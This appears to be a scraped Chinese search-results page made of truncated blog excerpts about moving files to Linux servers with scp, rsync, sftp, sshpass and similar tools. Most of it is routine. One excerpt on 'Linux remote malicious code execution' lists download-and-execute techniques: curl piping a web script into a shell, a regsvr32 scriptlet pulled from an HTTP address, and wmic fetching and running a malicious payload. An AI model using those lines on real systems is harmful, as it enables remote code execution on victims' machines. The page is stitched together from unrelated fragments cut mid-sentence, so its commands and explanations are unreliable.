如果为了用Jenkins而用Jenkins,那不是我的做事风格,我必须搞清楚这项技术能给我带来什么。所以我干脆回归问题本质,从最简单的工作流入手,先解决手动部署的效率问题。...搬砖模式,将构建完毕的文件夹通过xftp传输到服务器/usr/share/nginx/html目录下。...将构建完毕的文件夹用git分支管理起来,推送到远程仓库,然后在linux服务器上拉取这部分代码。 第一种方法显然已经属于刀耕火种模式了,不过我竟然用了很久。...自动部署 写脚本 先写个自动构建部署的脚本,主要是包含了切git分支,拉取最新代码,构建打包,传输文件到服务器这些步骤。 scp 命令用于 Linux 之间复制文件和目录 #!...不过在windows和linux之间用rsync还是蛮复杂的,留给各位大佬自己探索啦。
传统的网络服务程序,如FTP、Pop和Telnet其本质上都是不安全的;因为它们在网络上用明文传送数据、用户帐号和用户口令,很容易受到中间人(man-in-the-middle)攻击方式的攻击。...注意:要在本地终端输入上述命令(或者): scp -r username@192.168.3.192:绝对路径/文件名 本地的路径 将文件/文件夹从本地拷至远程 Ubuntu 机(scp) scp -...是服务器账号 192.168.0.1是要上传的服务器ip地址 /home/username/是要拷入的文件夹路径 例如:要将文件名为test1上传到服务器:文件所在具体路径为/home/ubuntu...因此: scp -r /home/username1/Downloads/assignment1 username@192.168.3.192:/home/username/ 将文件/文件夹从远程 Ubuntu...:/home/username/ 如何在 Windows 机上用 SSH 远程登录 Ubuntu 机 下载 PuTTY 如何在 Windows 机上拷贝 文件/文件夹 从/到 远程 Ubuntu 机
操作 linux 主机的话用 paramiko 会简单很多,可以看我下面的文章。...Python 技术篇-用 paramiko 库实现 winodws 本地文件上传至 linux 服务器实例演示 首先是在要进行管理的 windows 服务器下运行下面的代码启用服务。
三、编写集群分发脚本scp 1、scp 安全拷贝 scp定义:scp可以实现服务器之间的的数据拷贝...-r:递归 pdir/fname:要拷贝的文件夹路径/名称 user@hadoophost:pdir/fname:目的用户@主机/目的文件夹路径/名称 例子:...将hadoop上的java文件夹拷入hadoop01(相当于hadoop主动将文件推送到hadoop01上) ?...获取hadoop上的java文件夹并拷入hadoop02(相当于hadoop02从hadoop中拉取这个文件) 注意:hadoop的主机名称及...2、rsync和scp的区别:用rsync做文件的复制要比scp速度快,rsync只做差异文件更新,scp是将所有文件复制过去 3、语法:rsync -rvl pdir
文件传输 这是最重要的一部分,既然要在服务器上跑数据,那就得吧数据传到服务器上吧。 文件传输得方法有很多,我之前用过filezilla传文件,后来我发现一种更简单的传文件方法。...先安装工具包,在xshell命令框种输入: sudo apt-get install lrzsz 安装完之后,从Windows上传文件,命令为rz,如图: ? ?...从服务器上下载文件到Windows的命令为sz,后面要跟下载文件的文件名: sz 2017-谭庆波.doc 这条命令执行的时候会让你选择文件保存的路径,然后点击确定按钮就可以了。...Ubuntu文件传输 上传文件 scp 文件名 rootusername@IP:/tmp 由于文件系统的权限问题,只能将本系统的文件上传到服务器的/tmp文件夹下,然后再从tmp文件夹中拷到需要的目录中去...下载文件 如果把文件从远程机器拷贝到本机当前目录用这个命令: scp rootusername@IP:/home/a.tar.tz 拷贝远程机器的整个目录下的文件: scp -r rootusername
的远程机器上 SSH简单来说就是 一个客户端 一个服务器....那么scp就是远程拷贝文件 scp 就是 secure copy,是一个在 Linux 下用来进行 远程拷贝文件 的命令 它的地址格式与 ssh 基本相同,需要注意的是,在指定端口时用的是大写的 -P...r 选项可以传送文件夹 # 把当前目录下的 demo 文件夹 复制到 远程 家目录下的 Desktop scp -r demo user@remote:Desktop # 把远程 家目录下的 Desktop...-P 若远程 SSH 服务器的端口不是 22,需要使用大写字母 -P 选项指定端口 注意: scp 这个终端命令只能在 Linux 或者 UNIX 系统下使用 如果在 Windows 系统中,...只不过操作远程服务器,你需要指定远程服务器的用户名以及你要拷贝到目的的目录. 在windows上使用FileZilla是FTP协议.所以我们填写的端口是21.
之前其实我也提到过算法工程师,除了算法,必须还有工程,你的模型要给用户用,要在线上跑,那必须要打包发布,放在服务器上,而现在大多服务器用的都是Linux系统,暂且不说是否需要深入了解Linux内部的内容...rm rm是指remove,删除,可以用 rm-r删除文件夹,并且递归删除,删除操作一律谨慎使用。...ssh 这是一种制定的建立在应用层基础上的安全网络协议,甚至可以和windows产生联系,所以就很厉害吧。坑有点深,具体方法。...scp和rsync 两个同步两个终端文件的操作,说人话就是传文件。首先说两者的区别,引用博客的一段话其实很清楚: sync和scp在文件夹均不存在时,执行时间相差不大,但是文件夹存在的情况下差异很大。...:remote_folder scp local_file remote_ip:remote_file 从远程到本地,2中: scp -r local_folder remote_username@remote_ip
参考 Gitlab备份、迁移、恢复和升级 背景 项目中使用linux服务器作为Gitlab仓储,需要每天自动定时备份(数据备份到windows上),防止服务器磁盘损坏造成数据数据丢失。...GitLab备份操作 gitlab-rake gitlab:backup:create 执行之后会默认在/var/opt/gitlab/backups文件夹下产生备份文件 [root@master.../bin/sh scp_linux_path='/var/opt/gitlab/backups/' scp_windows_uri='user@192.168.1.58:E:\tmp' scp_log_path...$filename $scp_windows_uri 4....配置Linux定时任务 crontab -e 0 1 * * * /opt/gitlabscp.sh 如此配置可设置每天凌晨1点,定时从gitlab服务器向windows主机导出备份文件 注意:
本文案例取自在笔者腾讯云服务器上的实践。上线部署在大公司里其实是专人操作的,一个产品从构思到发布,许许多多的坑要踩。 对于前端(伪全栈)来说,想要流畅的上手部署。命令行知识还是基础。...第三是多在服务器上玩玩,只要胆大心细,玩不坏的。 上传文件到服务器 本地的话可以用cp(copy)命令。但是上传怎么办?...scp(最原始) # 上传文件 scp docker-compose.yml 用户名@ip地址:/root/sourse/ # 上传文件夹 scp -r 文件 root@ip地址:文件夹目录 ?...从git拉取 实际工作中,我有可能从git上拉取代码。那就给服务器装一个git吧。...腾讯云centos 7安装git:https://cloud.tencent.com/developer/article/1404128 推荐从git拉取。
命令从windows上传文件到linux服务器 防火墙 查看防火墙状态 centos7的命令: systemctl status firewalld.service 临时关闭防火墙 centos7命令...永久关闭防火墙 centos7命令: systemctl disable firewalld.service centos7设置静态ip 进入/etc/sysconfig/network-scripts文件夹...,可以看到文件夹中有ifcfg-ensxxx的文件,我这里是ifcfg-ens33 通过vim命令对该文件进行编辑,修改如下内容 BOOTPROTO="static" #dhcp改为static ONBOOT...hostname方式 在windows做主机名和ip地址的绑定 windows的如下目录: C:\Windows\System32\drivers\etc 点击修改 注意: 一个ip可以对应多个...命令从windows上传文件到linux服务器 scp【本地文件的路径】【服务器用户名】@【服务器地址】:【服务器上存放文件的路径】 scp D:\DownLoad\lena.jpg wangtao2@
准备环境 环境:两台Centos 7 虚拟机 》服务器IP:10.57.220.244 ,作为Docker仓库使用 》客户端IP:10.57.220.220 ,作为客户端来上传或拉取镜像 ...生成自签名证书 在服务器主机上生成自签名证书,创建一个文件夹用于存放证书 mkdir -p certs ? ...ll certs文件夹就可以看到生成好的两个文件 ? 运行仓库镜像,如果本地没有相应的镜像会从Docker服务器上下载,然后才启动,可以用docker ps命令查看是否已经有窗口在运行。...,最后一步是把生成好的lpxxn.com.crt复制到客户端,你可以用自己的方式复制, 我用的scp先复制到/home/test目录下,再复制到/etc/pki/ca-trust/source/anchors...从仓库拉取镜像 先把本地的镜像删除 docker rmi lpxxn.com:5000/centos6:1.0 docker rmi centos:6 拉取然后run docker pull
第一步:新服务器上svn的安装 1 、从远程下载SVN安装文件 1 ) 下载 subversion-1.6.11.tar.bz2 subversion-deps-1.6.11...---- 第二步:旧服务器上的svn迁移到新服务器上 我用的是第一种方式,大家文件很大的时候,几百G的那种,最好用第二种方式,不然用第一种的话,速度会很慢的 采用dump的方式进行迁移 1、dump出旧服务器上的...1115代替,反正名字大家可以自定义随便取, 大家在dump的时候,一定要cd 切换到 旧服务器上svn的目录,不然会报找不到 lxhwsvn这个库 如图所示: ?...2、使用 scp(secure copy)命令,将dump出来的文件从旧服务器传到 新服务器上。...然后我用scp从就旧服务器发送文件到新服务器的时候, 使用命令 scp -v 2414.dump root@xx.xxx.xx.xx:/opt/svn 的时候 (这段在旧服务器上执行,xx.xxx.xx.xxx
Rsync是一个命令行实用程序,它将文件和文件夹从一个位置同步到另一个位置。可以使用rsync实现的一些工作流程是从开发计算机更新生产主机,或使用cron作业调用rsync以定期将数据备份到存储位置。...您甚至可以使用rsync 将服务器从其他提供程序迁移到Linode。 Rsync是增量的,因此一旦初始操作完成,连续的备份操作就会很快完成。仅复制源文件和目标文件之间的差异。...Windows:作为一个独立的工具,rsync在Windows上并不常用。有多个GUI程序可用,它们使用rsync作为后端,有些是开源的。...Rsync在通过网络传输时使用SSH,因此您的数据已加密,并且可与SSH密钥一起使用,以便与远程服务器进行快速身份验证。 远程位置的格式类似于SSH或SCP命令。...例如,要将本地文件夹与远程服务器上的文件夹同步,您可以使用: rsync -[options] /path/to/source_folder username@:/path/to
如果用当前用户连接,可以不指定用户 # "@"后面为要连接的服务器的IP ---- scp复制数据至远程主机命令(全量复制) # -P 指定端口,默认22端口可不写 # -r 表示递归拷贝目录 # -...2.scp连接时的用户作为为拷贝文件或目录的权限。 3.scp支持数据推送和拉取,每次都是全量拷贝,效率较低。...#默认一路回车即可 ... 2.将A服务器上的公钥推送至B服务器 #命令示例: ssh-copy-id [-i [identity_file]] [user@]machine ssh-copy-id #...install -y sshpass 2.使用sshpass命令 [root@m01 ~]# sshpass -p 123456 ssh root@10.0.0.51 [option] -p:指定密码 -f:从文件中取密码...-e:从环境变量中取密码 -P:设置密码提示
preface 本人日常主用 Windows 系统,然后 ssh 到服务器上进行 code,所以涉及文件传输都用 scp 命令或者直接用 mobaXTerm 进行,还是有些小不方便的,因为我还是得将东西下载到自己的...Windows 上再传到 Linux 服务器上。...上次看师兄在群里分享了一个软件可以直接将服务器上的目录挂在到 Windows 的资源管理器,相当于多了一个磁盘,这样子就可以直接将数据下载到服务器上了,省去了一步操作,挺方便的,这就记录一下。...此电脑 ,选择 映射网络驱动器 然后文件夹中填上前缀 \\sshfs\,后面就是自己服务器的用户名和 ip 地址,和登录 ssh 服务器是一样操作的。...还可以直接加上自己服务器上的文件夹,很方便。
安装 下载镜像 先下载最新的 Verdaccio 镜像,使用官方的 docker 镜像 docker pull verdaccio/verdaccio 上面命令拉取的即是 latest 的镜像 启动前配置...proxy_set_header Host $host; } } 如果想使用跑在 docker 容器中的 nginx,首先查看一下 docker0 这个网卡的 ip 地址: ifconifg 可以看到我用的服务器的...我们在服务器上执行以下命令查看容器日志: docker logs --tail 20 verdaccio 发现: EACCES: permission denied, open '/verdaccio...Verdaccio@3.0 升级到 4.3,所以将原服务器上的 config.yaml、htpasswd 和 storage 文件夹 scp 过去,然后修改一下权限即可。...scp config.yaml user@remoteServer:/path/to/config.yaml scp htpasswd user@remoteServer:/path/to/htpasswd
先看自己之前是否已经生成了公钥文件,如果没有需要手动生成 windows:在windows下查看【c盘->用户->自己的用户名->.ssh】下是否有id_rsa,id_rsa.pub文件 mac:在/Users...ssh hadoop@hadoop1 # hadoop用户,从hadoop1服务器登陆到hadoop2服务器 ssh hadoop2 scp命令格式如下,可以不指定端口,默认为22 scp -P 服务器上 win脚本 deploy.bat call mvn clean package -DskipTests=true cd.../build/libs scp demo.jar username@ip:/opt/application/ cd ../../ @pause 命令行工具 在win上我用的是Xshell,在mac下用的是...,非常方便看到我们修改了哪些内容 拉取代码 当我们想拉取远程仓库最新的代码时 命令行拉取 git pull origin master IDEA拉取 在这里插入图片描述 点击pull按钮 在这里插入图片描述
一、Linux 远程恶意代码执行 01、curl 以用curl的方式执行http页面上的shell脚本,无需download,在本地机器上直接执行。.../testfile testfile 04、scp scp 是 rcp 的加强版,scp 是加密的,rcp 是不加密的。...scp username@servername:/path/filename /tmp/local_destination 05、rsync 使用rsync可以进行远程同步,拉取文件到本地服务器。...rsync -av x.x.x.x:/tmp/passwd.txt /tmp/passwd.txt 06、sftp 使用sftp下载远程服务器上的文件。...regsvr32.exe /u /n /s /i:http://192.168.28.131:8888/file.sct scrobj.dll 06、wmic 执行WMIC以下命令从远程服务器下载并运行恶意
如我的是 CentOS7.6:192.168.91.128; CentOS7.6_bak:192.168.91.129先在192.168.91.129服务器上创建一个大小为10M的测试文件video.mp4eg1...:从192.168.91.129服务器下载/root路径下的video.mp4文件到本地(192.168.91.128)的/root目录下scp root@192.168.91.129:/root/video.mp4.../eg2:从192.168.91.129服务器下载/root路径下的shop文件夹到本地(192.168.91.128)的/root目录下scp -r root@192.168.91.129:/root...服务器上的/root/video.mp4上传到192.168.91.129服务器的/root目录下在192.168.91.128服务器上执行以下命令:scp /root/video.mp4 root@192.168.91.129...:/root/eg2:把192.168.91.128服务器上的/root/shop文件夹上传到192.168.91.129服务器的/root目录下在192.168.91.128服务器上执行以下命令:scp
SCP和SFTP的共同之处在于「使用SSH将文件加密才传输的」 使用「WinSCP」或者「FileZilla」之类的客户端,还可以和Windows之间进行文件传输。...所有你发往FTP服务器的命令和服务器反馈 的指令都是通过服务器上的21端口传送的。 数据链路---TCP端口20。数据传输端口,用来建立数据传输通道的。...主要用来从客户向服务器发送一个文件、从服务器向客户发送一个文件、从服务器向客户发送文件或目录列表。数据链路主要是用来传送数据的,比如客户端 上传、下载内容,以及列目录显示的内容等。...FTP、Telnet和POP,其本质上都是不安全的;因为它们在网络上用明文传送数据、用户帐号和用户口令。...常见的SSH客户端: 图形化客户端: WinSCP,是一个Windows环境下使用SSH的开源图形化SFTP客户端。同时支持FTP、SCP、webdav协议。
领取专属 10元无门槛券
手把手带您无忧上云